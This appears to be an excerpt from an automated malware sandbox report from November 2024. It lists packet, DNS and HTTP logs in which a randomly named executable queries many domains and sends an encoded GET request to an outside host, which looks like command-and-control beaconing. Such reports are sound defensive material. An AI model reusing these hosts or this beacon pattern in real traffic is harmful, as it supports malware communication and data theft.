Nov 5, 2024 15:38:45.856096029 CET	80	49811	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:45.871273994 CET	80	49811	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:45.871320963 CET	80	49811	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:45.871561050 CET	49811	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:47.191524982 CET	49811	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:48.208937883 CET	49812	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:48.384895086 CET	80	49812	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:48.385193110 CET	49812	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:48.392868996 CET	49812	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:48.569284916 CET	80	49812	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:48.576363087 CET	80	49812	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:48.576443911 CET	80	49812	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:48.576606989 CET	49812	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:49.894114971 CET	49812	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:50.911525011 CET	49813	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:51.089315891 CET	80	49813	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:51.089576006 CET	49813	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:51.098264933 CET	49813	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:51.098340034 CET	49813	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:51.276853085 CET	80	49813	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:51.276973009 CET	80	49813	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:51.276988029 CET	80	49813	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:51.276997089 CET	80	49813	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:51.277017117 CET	80	49813	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:51.290591955 CET	80	49813	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:51.290607929 CET	80	49813	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:51.290785074 CET	49813	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:52.612345934 CET	49813	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:53.631563902 CET	49814	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:53.810650110 CET	80	49814	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:53.810973883 CET	49814	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:53.816171885 CET	49814	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:53.994154930 CET	80	49814	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:54.002469063 CET	80	49814	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:54.002515078 CET	80	49814	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:54.002943039 CET	49814	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:54.004715919 CET	49814	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:54.182323933 CET	80	49814	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:59.019200087 CET	49815	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:38:59.195050001 CET	80	49815	68.65.122.222	192.168.11.20
Nov 5, 2024 15:38:59.195239067 CET	49815	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:38:59.203851938 CET	49815	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:38:59.383042097 CET	80	49815	68.65.122.222	192.168.11.20
Nov 5, 2024 15:38:59.383099079 CET	80	49815	68.65.122.222	192.168.11.20
Nov 5, 2024 15:38:59.383141041 CET	80	49815	68.65.122.222	192.168.11.20
Nov 5, 2024 15:38:59.383183002 CET	80	49815	68.65.122.222	192.168.11.20
Nov 5, 2024 15:38:59.383213043 CET	80	49815	68.65.122.222	192.168.11.20
Nov 5, 2024 15:38:59.383238077 CET	49815	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:38:59.383245945 CET	80	49815	68.65.122.222	192.168.11.20
Nov 5, 2024 15:38:59.383404016 CET	49815	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:38:59.383404970 CET	49815	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:00.719849110 CET	49815	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:01.737302065 CET	49816	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:01.915448904 CET	80	49816	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:01.915712118 CET	49816	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:01.923854113 CET	49816	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:02.104667902 CET	80	49816	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:02.104680061 CET	80	49816	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:02.104686975 CET	80	49816	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:02.104818106 CET	80	49816	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:02.104820013 CET	49816	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:02.104825020 CET	80	49816	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:02.104857922 CET	80	49816	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:02.105016947 CET	49816	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:03.438052893 CET	49816	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:04.455439091 CET	49817	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:04.632527113 CET	80	49817	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:04.632754087 CET	49817	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:04.640604973 CET	49817	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:04.640657902 CET	49817	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:04.640702009 CET	49817	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:04.818608999 CET	80	49817	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:04.818669081 CET	80	49817	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:04.819040060 CET	80	49817	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:04.830723047 CET	80	49817	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:04.830780983 CET	80	49817	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:04.830822945 CET	80	49817	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:04.830864906 CET	80	49817	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:04.830893993 CET	80	49817	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:04.830924988 CET	80	49817	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:04.831001043 CET	49817	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:04.831065893 CET	49817	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:06.156111002 CET	49817	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:07.173577070 CET	49818	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:07.350042105 CET	80	49818	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:07.350253105 CET	49818	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:07.355928898 CET	49818	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:07.534816980 CET	80	49818	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:07.534876108 CET	80	49818	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:07.534919024 CET	80	49818	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:07.534960985 CET	80	49818	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:07.535002947 CET	80	49818	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:07.535043955 CET	80	49818	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:07.535064936 CET	49818	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:07.535087109 CET	80	49818	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:07.535130978 CET	80	49818	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:07.535160065 CET	80	49818	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:07.535187006 CET	49818	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:07.535192966 CET	80	49818	68.65.122.222	192.168.11.20
Nov 5, 2024 15:39:07.535234928 CET	49818	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:07.535449982 CET	49818	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:07.535449982 CET	49818	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:07.537337065 CET	49818	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:39:07.713538885 CET	80	49818	68.65.122.222	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 5, 2024 15:33:52.297408104 CET	57674	53	192.168.11.20	1.1.1.1
Nov 5, 2024 15:33:52.427223921 CET	53	57674	1.1.1.1	192.168.11.20
Nov 5, 2024 15:34:08.286053896 CET	54067	53	192.168.11.20	1.1.1.1
Nov 5, 2024 15:34:08.479995012 CET	53	54067	1.1.1.1	192.168.11.20
Nov 5, 2024 15:34:21.845518112 CET	53705	53	192.168.11.20	1.1.1.1
Nov 5, 2024 15:34:21.964540958 CET	53	53705	1.1.1.1	192.168.11.20
Nov 5, 2024 15:34:35.139524937 CET	54267	53	192.168.11.20	1.1.1.1
Nov 5, 2024 15:34:35.453181982 CET	53	54267	1.1.1.1	192.168.11.20
Nov 5, 2024 15:34:49.042687893 CET	51886	53	192.168.11.20	1.1.1.1
Nov 5, 2024 15:34:49.968568087 CET	53	51886	1.1.1.1	192.168.11.20
Nov 5, 2024 15:35:04.789433956 CET	49802	53	192.168.11.20	1.1.1.1
Nov 5, 2024 15:35:04.905602932 CET	53	49802	1.1.1.1	192.168.11.20
Nov 5, 2024 15:35:12.959551096 CET	64915	53	192.168.11.20	1.1.1.1
Nov 5, 2024 15:35:13.368509054 CET	53	64915	1.1.1.1	192.168.11.20
Nov 5, 2024 15:35:26.987545013 CET	59666	53	192.168.11.20	1.1.1.1
Nov 5, 2024 15:35:27.106681108 CET	53	59666	1.1.1.1	192.168.11.20
Nov 5, 2024 15:35:40.609622002 CET	50252	53	192.168.11.20	1.1.1.1
Nov 5, 2024 15:35:40.724112988 CET	53	50252	1.1.1.1	192.168.11.20
Nov 5, 2024 15:35:54.247195959 CET	58094	53	192.168.11.20	1.1.1.1
Nov 5, 2024 15:35:55.158598900 CET	53	58094	1.1.1.1	192.168.11.20
Nov 5, 2024 15:36:09.353311062 CET	64772	53	192.168.11.20	1.1.1.1
Nov 5, 2024 15:36:09.519973993 CET	53	64772	1.1.1.1	192.168.11.20
Nov 5, 2024 15:36:22.678458929 CET	54438	53	192.168.11.20	1.1.1.1
Nov 5, 2024 15:36:22.788470030 CET	53	54438	1.1.1.1	192.168.11.20
Nov 5, 2024 15:36:35.956841946 CET	60613	53	192.168.11.20	1.1.1.1
Nov 5, 2024 15:36:36.071552992 CET	53	60613	1.1.1.1	192.168.11.20
Nov 5, 2024 15:36:44.126966000 CET	54169	53	192.168.11.20	1.1.1.1
Nov 5, 2024 15:36:44.246532917 CET	53	54169	1.1.1.1	192.168.11.20
Nov 5, 2024 15:36:57.405277014 CET	59490	53	192.168.11.20	1.1.1.1
Nov 5, 2024 15:36:58.418445110 CET	59490	53	192.168.11.20	9.9.9.9
Nov 5, 2024 15:36:58.527209997 CET	53	59490	9.9.9.9	192.168.11.20
Nov 5, 2024 15:37:00.038125992 CET	53	59490	1.1.1.1	192.168.11.20
Nov 5, 2024 15:37:06.591197968 CET	61456	53	192.168.11.20	9.9.9.9
Nov 5, 2024 15:37:06.703083992 CET	53	61456	9.9.9.9	192.168.11.20
Nov 5, 2024 15:38:23.604027987 CET	51297	53	192.168.11.20	9.9.9.9
Nov 5, 2024 15:38:23.718144894 CET	53	51297	9.9.9.9	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 5, 2024 15:33:52.297408104 CET	192.168.11.20	1.1.1.1	0xb3cc	Standard query (0)	www.nagasl89.baby	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:34:08.286053896 CET	192.168.11.20	1.1.1.1	0xa019	Standard query (0)	www.abuali-contracting.art	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:34:21.845518112 CET	192.168.11.20	1.1.1.1	0xa3b8	Standard query (0)	www.godskids.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:34:35.139524937 CET	192.168.11.20	1.1.1.1	0x289c	Standard query (0)	www.030002832.xyz	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:34:49.042687893 CET	192.168.11.20	1.1.1.1	0xa5fe	Standard query (0)	www.wonders8.live	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:35:04.789433956 CET	192.168.11.20	1.1.1.1	0x5e45	Standard query (0)	www.pwk-24.xyz	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:35:12.959551096 CET	192.168.11.20	1.1.1.1	0x57db	Standard query (0)	www.nidedabeille.net	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:35:26.987545013 CET	192.168.11.20	1.1.1.1	0x1537	Standard query (0)	www.brunvox.site	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:35:40.609622002 CET	192.168.11.20	1.1.1.1	0xdb58	Standard query (0)	www.osi.garden	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:35:54.247195959 CET	192.168.11.20	1.1.1.1	0xe6d5	Standard query (0)	www.983743.vin	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:36:09.353311062 CET	192.168.11.20	1.1.1.1	0xbedc	Standard query (0)	www.parkerstraus.dev	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:36:22.678458929 CET	192.168.11.20	1.1.1.1	0x3851	Standard query (0)	www.mynotebook.shop	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:36:35.956841946 CET	192.168.11.20	1.1.1.1	0x9274	Standard query (0)	www.bav.lat	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:36:44.126966000 CET	192.168.11.20	1.1.1.1	0xe631	Standard query (0)	www.notepad.mobi	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:36:57.405277014 CET	192.168.11.20	1.1.1.1	0x20d3	Standard query (0)	www.5oxzis.top	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:36:58.418445110 CET	192.168.11.20	9.9.9.9	0x20d3	Standard query (0)	www.5oxzis.top	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:37:06.591197968 CET	192.168.11.20	9.9.9.9	0x305f	Standard query (0)	www.hyman.life	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:38:23.604027987 CET	192.168.11.20	9.9.9.9	0xe123	Standard query (0)	www.pwk-24.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 5, 2024 15:33:52.427223921 CET	1.1.1.1	192.168.11.20	0xb3cc	No error (0)	www.nagasl89.baby		104.21.94.87	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:33:52.427223921 CET	1.1.1.1	192.168.11.20	0xb3cc	No error (0)	www.nagasl89.baby		172.67.221.147	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:34:08.479995012 CET	1.1.1.1	192.168.11.20	0xa019	No error (0)	www.abuali-contracting.art	abuali-contracting.art		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 15:34:08.479995012 CET	1.1.1.1	192.168.11.20	0xa019	No error (0)	abuali-contracting.art		66.198.240.15	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:34:21.964540958 CET	1.1.1.1	192.168.11.20	0xa3b8	No error (0)	www.godskids.store	godskids.store		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 15:34:21.964540958 CET	1.1.1.1	192.168.11.20	0xa3b8	No error (0)	godskids.store		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:34:21.964540958 CET	1.1.1.1	192.168.11.20	0xa3b8	No error (0)	godskids.store		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:34:35.453181982 CET	1.1.1.1	192.168.11.20	0x289c	No error (0)	www.030002832.xyz		161.97.142.144	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:34:49.968568087 CET	1.1.1.1	192.168.11.20	0xa5fe	No error (0)	www.wonders8.live	wonders8.live		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 15:34:49.968568087 CET	1.1.1.1	192.168.11.20	0xa5fe	No error (0)	wonders8.live		119.18.54.27	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:35:04.905602932 CET	1.1.1.1	192.168.11.20	0x5e45	Name error (3)	www.pwk-24.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:35:13.368509054 CET	1.1.1.1	192.168.11.20	0x57db	No error (0)	www.nidedabeille.net	nidedabeille.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 15:35:13.368509054 CET	1.1.1.1	192.168.11.20	0x57db	No error (0)	nidedabeille.net		195.110.124.133	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:35:27.106681108 CET	1.1.1.1	192.168.11.20	0x1537	No error (0)	www.brunvox.site		203.161.41.204	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:35:40.724112988 CET	1.1.1.1	192.168.11.20	0xdb58	No error (0)	www.osi.garden	osi.garden		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 15:35:40.724112988 CET	1.1.1.1	192.168.11.20	0xdb58	No error (0)	osi.garden		68.65.122.222	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:35:55.158598900 CET	1.1.1.1	192.168.11.20	0xe6d5	No error (0)	www.983743.vin		45.150.55.15	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:36:09.519973993 CET	1.1.1.1	192.168.11.20	0xbedc	No error (0)	www.parkerstraus.dev	parkerstraus.netlify.app		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 15:36:09.519973993 CET	1.1.1.1	192.168.11.20	0xbedc	No error (0)	parkerstraus.netlify.app		50.19.214.227	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:36:09.519973993 CET	1.1.1.1	192.168.11.20	0xbedc	No error (0)	parkerstraus.netlify.app		100.28.201.155	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:36:22.788470030 CET	1.1.1.1	192.168.11.20	0x3851	No error (0)	www.mynotebook.shop		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:36:22.788470030 CET	1.1.1.1	192.168.11.20	0x3851	No error (0)	www.mynotebook.shop		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:36:36.071552992 CET	1.1.1.1	192.168.11.20	0x9274	Name error (3)	www.bav.lat	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:36:44.246532917 CET	1.1.1.1	192.168.11.20	0xe631	No error (0)	www.notepad.mobi		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:36:44.246532917 CET	1.1.1.1	192.168.11.20	0xe631	No error (0)	www.notepad.mobi		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:36:58.527209997 CET	9.9.9.9	192.168.11.20	0x20d3	Name error (3)	www.5oxzis.top	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:37:00.038125992 CET	1.1.1.1	192.168.11.20	0x20d3	No error (0)	www.5oxzis.top		20.2.217.253	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:37:06.703083992 CET	9.9.9.9	192.168.11.20	0x305f	No error (0)	www.hyman.life	hyman.life		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 15:37:06.703083992 CET	9.9.9.9	192.168.11.20	0x305f	No error (0)	hyman.life		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:37:06.703083992 CET	9.9.9.9	192.168.11.20	0x305f	No error (0)	hyman.life		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:38:23.718144894 CET	9.9.9.9	192.168.11.20	0xe123	Name error (3)	www.pwk-24.xyz	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.nagasl89.baby

www.abuali-contracting.art

www.godskids.store

www.030002832.xyz

www.wonders8.live

www.nidedabeille.net

www.brunvox.site

www.osi.garden

www.983743.vin

www.parkerstraus.dev

www.mynotebook.shop

www.notepad.mobi

www.hyman.life

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49741	104.21.94.87	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:33:52.541462898 CET	457	OUT	GET /vq3l/?Q2_4=WKR5ld2WiQxHxPDU6pm8hrTzAxfoYD+zNd+jQFHpl4y5z9MlTNWt1pAD28TX6W++2340V0NEzWPPUH5FlugQl+5D7H7BO9/OK4RESnHOQd/yty8pNcZLL2g=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.nagasl89.baby User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:33:53.247127056 CET	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:33:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xYFQ15sgg3sNfaHR7ZWbibC%2FoexqyuLJIbPFTcdmwXy%2Few4tVOYXnv4ZZsG2I9%2B%2FWCe%2Bh2euRAluH21zly4wVAC8B92TOdwqSxZ07XO2ODRBJp%2FpQn4gBzpuqRuv3tXnI1uGWA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ddd8fb7b8f2726f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=104780&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=457&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 30 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 69 64 2d 49 44 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 72 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 42 75 6b 61 6e 57 6f 72 64 70 72 65 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 [TRUNCATED] Data Ascii: 2099<!DOCTYPE html><html lang="id-ID"><head> <meta charset="utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" /><meta name="generator" content="BukanWordpress" /><link rel="icon" type="image/x-icon" href="https://www.nagasl89.baby/favicon.ico" /><link rel="sitemap" href="https://www.nagasl89.baby/sitemap.xml" /><link rel="alternate" type="application/rss+xml" title="RTP SLOTO
Nov 5, 2024 15:33:53.247150898 CET	1289	IN	Data Raw: 38 39 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 39 2e 62 61 62 79 2f 66 65 65 64 2f 72 73 73 22 20 2f 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 48 61 6c 61 6d 61 6e 20 69 6e 69 20 74 69 64 61 Data Ascii: 89 Feed" href="https://www.nagasl89.baby/feed/rss" /> <title>Halaman ini tidak ada! - RTP SLOTO89</title> <meta name="description" content="404 Not Found"/> <meta name="keywords" content="SLOTO89, SLOTO89, RTP SLOTO 89, slot gaco
Nov 5, 2024 15:33:53.247165918 CET	1289	IN	Data Raw: 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 39 2e 62 61 62 79 2f 74 68 65 6d 65 73 2f 72 74 70 2f 63 73 73 2f 73 74 79 6c 65 73 6c 6f 74 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d Data Ascii: s" href="https://www.nagasl89.baby/themes/rtp/css/styleslot.css" type="text/css" media="all"> <link rel="stylesheet" id="twentyfifteen-style-css" href="https://www.nagasl89.baby/themes/rtp/css/custom.css" type="text/css" media="all"> <
Nov 5, 2024 15:33:53.247179985 CET	1289	IN	Data Raw: 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 72 74 69 63 6c 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 Data Ascii: y="og:type" content="article"> <meta property="og:url" content="https://www.nagasl89.baby/"> <meta property="og:title" content=""> <meta property="og:description" content="404 Not Found"> <meta property="og:site_name" content="
Nov 5, 2024 15:33:53.247194052 CET	1289	IN	Data Raw: 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 73 2e 63 6c 6f 75 64 69 6e 61 72 79 2e 63 6f 6d 2f 70 72 61 63 74 69 63 61 6c 64 65 76 2f 69 6d 61 67 65 2f 66 65 74 63 68 2f 73 Data Ascii: rel="apple-touch-icon" href="https://res.cloudinary.com/practicaldev/image/fetch/s--gDM0_LTS--/c_limit,f_png,fl_progressive,q_80,w_180/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/devlogo-pwa-512.png"--> ...link rel="apple
Nov 5, 2024 15:33:53.247209072 CET	1289	IN	Data Raw: 63 5f 6c 69 6d 69 74 2c 66 5f 70 6e 67 2c 66 6c 5f 70 72 6f 67 72 65 73 73 69 76 65 2c 71 5f 38 30 2c 77 5f 31 32 38 2f 68 74 74 70 73 3a 2f 2f 70 72 61 63 74 69 63 61 6c 64 65 76 2d 68 65 72 6f 6b 75 61 70 70 2d 63 6f 6d 2e 66 72 65 65 74 6c 73 Data Ascii: c_limit,f_png,fl_progressive,q_80,w_128/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/devlogo-pwa-512.png" rel="icon" sizes="128x128"--> <meta name="apple-mobile-web-app-title" content=""> <meta name="application-name" c
Nov 5, 2024 15:33:53.247222900 CET	1289	IN	Data Raw: 72 69 27 29 20 7b 74 68 69 73 2e 76 61 6c 75 65 20 3d 20 27 27 3b 7d 22 20 6f 6e 62 6c 75 72 3d 22 69 66 20 28 74 68 69 73 2e 76 61 6c 75 65 20 3d 3d 20 27 27 29 20 7b 74 68 69 73 2e 76 61 6c 75 65 20 3d 20 27 43 61 72 69 27 3b 7d 22 3e 0d 0a 20 Data Ascii: ri') {this.value = '';}" onblur="if (this.value == '') {this.value = 'Cari';}"> <input type="submit" value="Cari" class="search-button"> </form> </div></article> <footer id="colophon"
Nov 5, 2024 15:33:53.247232914 CET	125	IN	Data Raw: 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 39 2e 62 61 62 79 2f 6a 73 2f 67 6c 6f 62 Data Ascii: /script> <script type="text/javascript" src="https://www.nagasl89.baby/js/global.js"></script> </body></html>
